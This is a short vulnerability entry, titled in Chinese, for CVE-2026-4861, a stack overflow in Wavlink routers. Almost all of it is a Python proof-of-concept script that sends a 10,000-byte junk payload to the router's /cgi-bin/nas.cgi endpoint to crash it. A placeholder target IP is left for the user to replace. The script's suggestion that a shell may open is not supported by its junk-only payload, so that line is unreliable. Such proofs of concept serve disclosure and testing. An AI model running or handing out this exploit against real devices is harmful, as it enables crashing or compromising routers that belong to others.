CVE-2026-4861 Wavlink路由器栈溢出漏洞

import requests def exploit_poc(target_ip): target_url = f"http://{target_ip}/cgi-bin/nas.cgi" # Vulnerability is triggered by manipulating Content-Length # sending a large payload to cause stack overflow in ftext function payload = "A" * 10000 # Junk data to overflow the buffer headers = { "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "10000" } try: print(f"[+] Sending payload to {target_url}...") response = requests.post(target_url, data=payload, headers=headers, timeout=5) print(f"[!] Response status: {response.status_code}") print("[*] Check if the device has crashed or if the shell is opened.") except requests.exceptions.RequestException as e: print(f"[-] Request failed or device crashed: {e}") if __name__ == "__main__": target = "192.168.1.1" # Replace with actual target IP exploit_poc(target)